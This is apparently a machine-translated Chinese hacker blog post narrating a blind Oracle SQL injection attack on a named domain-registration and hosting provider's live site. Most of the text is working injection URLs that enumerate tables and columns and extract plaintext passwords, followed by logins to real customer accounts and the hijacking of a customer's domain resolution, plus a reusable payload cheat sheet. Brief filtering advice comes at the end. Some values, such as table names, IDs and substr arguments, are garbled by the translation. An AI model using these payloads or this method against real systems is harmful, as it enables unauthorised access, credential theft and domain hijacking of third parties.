Hichina's embarrassment-hichina Oracle injection vulnerability exposure

In fact, the most important thing for hackers to attack is their ideas. I think no one can say that they are the best and the latest technology!

Hichina's embarrassment-hichina Oracle injection vulnerability exposure
Some time ago, after my project was completed, I had nothing to worry about, so I went around the Internet. I saw friends chatting in the group and said that my website and Forum were opened. You are welcome to download Dongdong or the domain name. com, .com.cn. I can only have my host and top-level domain names when I access Xiami ...... Fantasies drool ....... To apply for a host or domain name, you naturally think of hichina, China (which is too famous in China ). Go there and check out how many meters it will take. The home page of hichina is opened. Wow, a standard ASP. NET host costs 1600 yuan a year ...... 200 for a domain name. I just thought about it, and I saw the member login interface in the upper-right corner of the homepage. The usual security habits made me "thief" again. Well, let's see if any vulnerabilities can be found. Just pull a member and there is nothing to do now.
After turning around on the website, you can see in hichina that hichina (www.net.cn) is China's largest provider of domain name and website hosting services. Is the flagship of China's Internet service industry. Known as a system engineer with more than 10 years of UNIX experience, Cisco router expert, orcale Database Expert, Microsoft MCSE certified engineer, Java/asp/perl/C Programming expert and network security expert. Cough ...... Khan. I am afraid I have done n security measures for such large website servers. Maybe a ing, N advanced IDs and fw are added, and maybe a honeypot is waiting. The patch must have been completed early. I scanned the port scanning tool ...... Depressed ....... It seems that there is no hope to intrude directly from the server ......
I continued to transfer and found a situation where the hichina site was written using ASP. You know, some time ago, the injection of ASP + MSSQL was very popular, and many sites suffered. Is there such a problem for a large website like hichina? No, try again first. I found a link:
Http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp? Packageid = 10341.
This is a page for purchasing virtual hosts. We tested it with the classic and 1 = 1 and 1 = 2 method. Dizzy ~ All return types do not match: 'cdbl' error. Alas, isn't it true? I am not reconciled. Let's take a look at the database we use. Add a single quotation mark to the parameter and submit it. An error is returned on the page:
Oraoledb error '123'
ORA-01756: the string in the brackets does not end properly
/Has_client/buy/vir_host/vir_host1_sb.asp, row 285
Haha, Oracle was used. No wonder. In general, such an error may occur in Oracle databases. This is similar to the returned error of unclosed quotation marks in MSSQL. However, when MSSQL prompts such an error, we can almost certainly have the injection vulnerability, and Oracle needs to be further determined.

I came to the spirit and continued to make further judgments. Note: The determination of the following steps is the basis for subsequent intrusion and is very important.
We will submit them separately:
Http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20all_tables) % 20and % 20 '1' = '1
Http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20user_tables) % 20and % 20 '1' = '1
Http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20user_tab_columns) % 20and % 20 '1' = '1
Check whether there are any Oracle system tables all_tables, user_tables, and user_tab_columns. In the future, penetration will be completed by these system tables. If you don't have one, you don't have.

All the pages are successfully returned, indicating that there are system tables with guesses, and the SQL statements we have submitted, which are processed by the program. At this point, it is also confirmed that this page does have the SQL injection vulnerability. Yeah!
After sending n emails to hichina, I started further penetration.
Next, we will start the formal injection. Of course, if the system Table Page cannot be returned normally ...... Most of them cannot be successful. Pai_^
First, let's sort out our ideas. The most important thing in the database is the user account information, and the most important thing is the user name and password. This is our primary goal. So how to locate this information in the Oracle database. In this case, the user_tab_columns system table stores the names of all user tables. Let's start from here. Submit:
Http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20user_tab_columns % 20 where % 20column_name % 20 like % 20' % 25 password % 25 ') % 20and % 20 '1' = '1
It indicates whether the user_tab_columns table contains the name of the column containing the password string.

The page is returned correctly. Haha, it indicates that the column name contains the password string.
We can also test sensitive fields such as PWD, admin, and pass. Here we start with password. The name of the column containing the password string is known. How can we know what table contains this column name? We do this and submit
Http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20user_tab_columns % 20 where % 20column_name % 20 like % 20' % 25 password % 25' % 20and % 20 substr (table_name, 1, 1) = 'A ') % 20and % 20 '1' = '1
It means to check whether the column names in the table starting with a in the database contain the password field. If yes, the page will return a correct result. Otherwise, an error is reported:
Microsoft VBScript runtime error '800a000d'
Type Mismatch: 'cdbl'
/Has_client/include/vh_getproperty.asp, row 46

However, one trial is actually ...... Too tired ...... 26 letters ....... Here, I used the nbsi background management address scanning function for automatic detection. We do this:
The address scanned by the nbsi's backend management address is controlled by the dict_admin.txt file. We will replace the file content:
Vir_host1_sb.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20user_tab_columns % 20 where % 20column_name % 20 like % 20' % 25 password % 25' % 20and % 20 substr (table_name, 1, 1) = 'A ') % 20and % 20 '1' = '1
Vir_host1_sb.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20user_tab_columns % 20 where % 20column_name % 20 like % 20' % 25 password % 25' % 20and % 20 substr (table_name, 1, 1) = 'B ') % 20and % 20 '1' = '1
Vir_host1_sb.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20user_tab_columns % 20 where % 20column_name % 20 like % 20' % 25 password % 25' % 20and % 20 substr (table_name, 1, 1) = 'C ') % 20and % 20 '1' = '1
.
.
.
Enter http://www.net.cn/has_client/buy/vir_hostin the scan address in the program. Click to start scanning. Nbsi began to help us get the address set one by one. There is a problem here, that is, the 500 Error nbsi will also be displayed in the result bar below, and we only need it to display the 200 OK address. What should we do? We took out our WPE pro. WPE pro is a tool that intercepts and modifies data packets in real time. We use it to change the returned 500 error to 404 page. Then nbsi will not display the 500 Error address below. I will not elaborate on the specific usage of WPE here. There are tutorials on the Internet. .

In this way, we can greatly improve the efficiency of speculation. This is also the case with large-scale speculation.
We can guess that a table starting with C, D, H, M, S, and V contains sensitive fields. One by one. Tired :)
Let's look at C first. There may be many data tables starting with C in the database. Which one is what we need. Let's continue to guess the second place. Replace all the contents of the dict_admin.txt (Admin) file with the following functions:
Vir_host1_sb.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20user_tab_columns % 20 where % 20column_name % 20 like % 20' % 25 password % 25' % 20and % 20 substr (table_name, 1, 2) = 'CA ') % 20and % 20 '1' = '1
Vir_host1_sb.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20user_tab_columns % 20 where % 20column_name % 20 like % 20' % 25 password % 25' % 20and % 20 substr (table_name, 1, 2) = 'cb ') % 20and % 20 '1' = '1
Vir_host1_sb.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20user_tab_columns % 20 where % 20column_name % 20 like % 20' % 25 password % 25' % 20and % 20 substr (table_name, 1, 2) = 'cc ') % 20and % 20 '1' = '1
.
.
.
Check again. OK. The first two characters of the table we need are Cu. Then the third digit is detected... This loop. Finally, the mermst column that starts with C is obtained. See customer ...... Hey, you have a play. Of course, when you guess about five characters, you can submit
Http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp? Packageid = 10341 'and 0 <> (select count (*) from user_tables where table_name like' % 25 XXXXX % 25' and length (table_name) = N) and '1' = '1
To determine the length of the table name. This is more accurate and faster.
After you have guessed the table name, you can submit the table:
Http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp? Packageid = 10341 'and 0 <> (select count (*) from user_tables where table_name = 'mermermst') and '1' = '1
To confirm. If the page is returned correctly, it will be OK. :)
Continue. We do not know the specific column name. Next we will start to guess the column name of the customermst table. Since Oracle does not have the direct brute force field brute force function like MSSQL, we can only guess slowly... Thanks to a self-made nbsi + WPE Earth detector... *_*. In other words, Let's guess the column name and change the content of the admin file:
Vir_host1_sb.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20user_tab_columns % 20 where % 20table_name = 'mermermst' % 20and % 20 substr (column_name, 1, 1) = 'A') % 20and % 20 '1' = '1
Vir_host1_sb.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20user_tab_columns % 20 where % 20table_name = 'mermermst' % 20and % 20 substr (column_name, 1, 1) = 'B') % 20and % 20 '1' = '1
Vir_host1_sb.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20user_tab_columns % 20 where % 20table_name = 'mermermst' % 20and % 20 substr (column_name, 1, 1) = 'C') % 20and % 20 '1' = '1
.
.
.
Here, we can guess which names starting with letters exist in the customermst table. The page is returned correctly, that is, 200 OK is returned, that is, yes.

Through detection, we know that there are columns starting with A, B, C, E, F, G, I, L, M, O, P, R, S, U. I'm dizzy, so much... No way. Come on. Let's first look at what starts with:
The method here is similar to the method used to guess the table name above. Change the content of the admin file:
Vir_host1_sb.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20user_tab_columns % 20 where % 20table_name = 'mermermst' % 20and % 20 substr (column_name, 1, 2) = 'A') % 20and % 20 '1' = '1
Vir_host1_sb.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20user_tab_columns % 20 where % 20table_name = 'mermermst' % 20and % 20 substr (column_name, 1, 2) = 'AB') % 20and % 20 '1' = '1
Vir_host1_sb.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20user_tab_columns % 20 where % 20table_name = 'mermermst' % 20and % 20 substr (column_name, 1, 2) = 'ac') % 20and % 20 '1' = '1
.
.
.
OK. The first two digits are ar. Continue... The column name is areaid. Note that multiple results may be returned during one-bit detection, indicating that there are multiple column names. For example, if both Bi and Bu return 200 OK when detecting the second digit starting with B, it indicates that there is a column name starting with Bi and Bu, and we should guess it separately. And so on, we finally get all the column names in the customermst table (wipe the sweat ......) :
Areaid
Birthday
Bizid
Businessstatus
Channel_staffid
Cityid
Contact
Country
Customerid
Customerindustry
Customerorigintype
Email
Emailbackup
.
.
.
Password
.
.
.
Userid
.
.
The customerid, password, and userid fields are the most important fields.

Hichina uses a digital ID and password to log on to the system. Which of the two IDs is used for login? Let's do this. Go to the hichina homepage logon box and use the user name to check the digital ID. Well... What is the user name? We have no idea about the data type. After turning around on the homepage, we found a hichina new customer recommendation column at the bottom. Carefully looked at, there is a real estate portal-Soufun http://www.soufun.com/EN, it is better to use the name Soufun ~ Pai_^

OK. The Soufun user ID is 10529112. Next we will determine which field is the ID field. Submit:
Http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20 customermst % 20 where % 20 customerid = '000000 ') % 20and % 20 '1' = '1
Wow, the page does not return a correct result and an error is returned. It does not appear to be this field. Submit again:
Http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20 customermst % 20 where % 20 userid = '20140901 ') % 20and % 20 '1' = '1
OK, hey, this time the page is returned correctly. It seems that the USERID field contains the User Login ID. In the same way, it is detected that the customerid field contains the user name.
The field attribute is known, and the password is guessed below, and the admin user is still used. Of course, it is still a bit of a guess. Finally, you can guess the password. Not tired. Change the admin file content:
Vir_host1_sb.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20 customermst % 20 where % 20 userid = '000000' % 20and % 20 substr (password, 10529112) = 'A ') % 20and % 20 '1' = '1
Vir_host1_sb.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20 customermst % 20 where % 20 userid = '000000' % 20and % 20 substr (password, 10529112) = 'B ') % 20and % 20 '1' = '1
Vir_host1_sb.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20 customermst % 20 where % 20 userid = '000000' % 20and % 20 substr (password, 10529112) = 'C ') % 20and % 20 '1' = '1
.
.
.
Vir_host1_sb.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20 customermst % 20 where % 20 userid = '000000' % 20and % 20 substr (password, 10529112) = '0 ') % 20and % 20 '1' = '1
Vir_host1_sb.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20 customermst % 20 where % 20 userid = '000000' % 20and % 20 substr (password, 10529112) = '1 ') % 20and % 20 '1' = '1
Vir_host1_sb.asp? Packageid = 10341 'and % 200 <> (select % 20 count (*) % 20 from % 20 customermst % 20 where % 20 userid = '000000' % 20and % 20 substr (password, 10529112) = '2 ') % 20and % 20 '1' = '1
.
.
.
Here we need to add an Arabic number. The password is generally a letter with a number :). The above is the first password of the user whose ID is 10529112. A few seconds later, the first password came out, N. Continue to guess the second place. The method is the same as the method used to guess the table name and column name. The only difference is that there will be no more results here. Finally, the password of the user whose ID is 10529112 is n ****. I'm dizzy. The password is not encrypted... What about database and security experts ...?
I guessed the password. Well, log on to seesee. Hey, hey.

Haha, log on to OK !... The available amount is actually RMB 130 ......, Dizzy! What else can I overdraft? Spoof even feelings t_t. Not afraid! Find the saving field, update! Hey hey ...... Unfortunately, I did not know how to correctly execute update, insert, 5555555 after I tried it n times. Which of the following experts has a good way to share with you :)
Of course, after logging in, you will have all rights to this account. Let's take a look at paid product management ....... Nothing, dizzy! Let's take a look at the user's financial information:

Well ...... Open a recent transaction. It was found that it was converted to 130 yuan to 10144167 yuan. Isn't this 10144167 account a rich user? : P
Immediately crack the 10144167 password U ***** and log in. Haha, I used to be a domain name distribution alliance partner, rich people ~ Balance 329 ^_^. Open the paid product management, then Haha, so many domain names ~ : P

Open the domain name resolution comprehensive service at the bottom of the page, Hoho found the Chinese General domain name registration-Soufun. China. Click here to go to Soufun. China's domain name resolution service page. Here we can freely change Soufun. China's resolution to control domain name pointing.
Speaking of this, my mind is no longer about getting a member. This is because the harm is too great. Think about it, we get the user account and password. After logging in, we can easily change the point of the domain name purchased by the user to the position we specified. Imagine a malicious attacker pointing the domain name of a commercial website to a fake website. Then, the account information of a user logging on to the commercial website is completely insecure. All websites with domain names registered on www.net.cn will be in disorder. For users who have purchased the VM service, the danger is that attackers can completely control the website through the website management system provided by hichina.
For hichina, all its businesses may be affected, and data can be obtained and tampered with at will. I don't think any customer can apply for a business like this.
For example, we can use the user with many domain names to make a demonstration. I want to resolve the szsxmd.gd.cn domain name to the famous www.xfocus.net security focus. First, Ping www.xfocus.net to get the IP address 202.106.127.50. Then, I entered the comprehensive domain name resolution business, added a record to the resolution business of the domain name szsxmd.gd.cn, specifying the resolution IP address as 202.106.127.50.

After a few hours, the domain name resolution will take effect. When we access szsxmd.gd.cn, we will find that we are on the security focus page :)

When Ping szsxmd.gd.cn in the command line, you will find that the address is resolved to 202.106.127.50 :)

The other dangers are obvious and large, so I will not do any practical demonstration.
Databases are the top priority of a site. Through this injection vulnerability, we can completely control the data in the database, not only the user account information, but also all the data in the database. When the utl_file permission of the public group is opened, you can use Union to query and read files on the server. This is similar to load_file () in PHP + MySQL injection. Of course, you can also execute update and so on. I am still a newbie in Oracle injection, but I have not been able to update and insert data and perform more advanced injection attacks. In addition, Oracle injection can only be guessed in one place, and there is no automated tool. I used the background scanning function and WPE of nbsi to Improve the efficiency. However, I believe that there are many experts and automated tools will soon emerge. Pai_^
Here we will summarize some statements used for injection:
0 <> (select count (*) from all_tables) and '1' = '1. Check whether the all_tables system table exists and confirm the injection.
0 <> (select count (*) from user_tab_columns where column_name like '% 25 column name keyword % 25') and '1' = '1 to guess whether a column name contains a defined keyword
0 <> (select count (*) from user_tab_columns where column_name like '% 25 column name keyword % 25' and substr (table_name, 1, 1) = 'A ') and '1' = '1 whether the table containing key column names starts with. That is, start a bit guess table.
0 <> (select count (*) from user_tables where table_name like '% 25 table name keyword % 25' and length (table_name) = N) and '1' = '1 guess the length of the table whose table name contains keywords
0 <> (select count (*) from user_tab_columns where table_name = 'table name' and substr (column_name, 1, 1) = 'A') and '1' = '1 guess column name
0 <> (select count (*) from table name where column name 1 = 'xxxxxx' and substr (column name 2, 1, 1) = 'A ') and '1' = '1 guess data
So what is the principle of Oracle injection vulnerability? Here is a brief introduction. Take the page we injected as an example.
Http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp? Packageid = 10341.
The query statement in the source code of the ASP program may be:
Select * from table where packageid = '201312'
As an attacker of a non-open-source program, we have no idea what the source code in ASP is like. We can only judge the approximate structure by returning the error message. So here I will give you a rough picture.
Let's talk less. Let's analyze it together. When we access this page, the ASP program queries the data whose packageid is 10341 in the Table Based on the parameter 10341 submitted in the URL and returns it to us. From the test results, this parameter is not filtered and then stored in the query statement, which provides conditions for our injection. When we submit http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp? Packageid = 10341 'and 0 <> (select count (*) from all_tables) and '1' = '1. The query statement in the ASP program becomes like this:
Select * from table where packageid = '20160' and 0 <> (select count (*) from all_tables) and '1' = '1'
In this way, the query statement we want to execute is successfully inserted into the original query statement of the ASP program. What is different from MSSQL is that we cannot use the-symbol to comment out the following statement. And '1' = '1 is used to match the extra quotation marks, in this way, the entire query statement is established and the page is returned normally. Like submitting a http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp? Packageid = 10341 'and 0 <> (select count (*) from all_tables) and '1' = '1' and 'x' = 'X' the entire page is also returned normally.
In fact, it is very easy to prevent such injection. As long as the parameters submitted in the URL are strictly filtered and some characters, such as single quotes and SQL keywords, should not appear, the attacker has no chance. Can I check the submitted URL? The character string following the No., which contains single quotes, semicolons, SQL keywords, and other characters that should not appear, will jump to a custom error page immediately. I personally think this is a better method. Especially for non-open-source attackers, it is almost impossible.
Network security is a multi-faceted solution, so you must always pay attention to it in every step. A chain can be used as a metaphor. If any link in the chain has a problem, the entire chain will be broken. Just like this vulnerability of hichina, although it is only a small and small problem, it has a great impact and can easily change the direction of hichina customer domain names. If I direct many domain names to a site, the site will be canceled. Therefore, security on the network is not a task of a certain family or some people, but must be done from top to bottom. In addition, since many worms and virus attacks, we have been paying close attention to the security of our servers. We have installed firewalls, IDs, and China Telecom to block some ports. Some sites even have 80 ports. The security of the code running on the server is especially important. A small negligence in a small place may cause a global crash. Defense technologies are constantly improving and attack methods are constantly being improved. Today, we have SQL injection. What will happen tomorrow? Always pay attention to the latest attack methods. I think it is very important for a good administrator. Unfortunately, many programmers do not have a security awareness when writing code. The administrator just puts the written code on the server and manages the security of the server (so does our company ), the code compilation vulnerability has become a breakthrough. I have been paying attention to security issues since I was in high school, and I am also working in this area. It can be said that today's network is much safer than before, but technology is improving. Today's security does not mean tomorrow's security. Security is an eternal topic. My personal feeling is that the worms and viruses are the most powerful weapons to enhance the security awareness of network administrators. I also believe that attacks by exploiting code defects, it also enhances the security awareness of programmers when writing code. Pai_^
Finally, it may take less than five minutes for experts to solve this vulnerability. In addition, to enhance the data security of your database, add a secret. Also, is your email server okay? By the way, many sites in China have such injection vulnerabilities, such as XX house and XX department :)
Thank you for your patience. Even the level is limited, if there is any error, welcome everyone to correct, even MSN: war3apollo@hotmail.com. For the outside world, I will always be a cainiao :).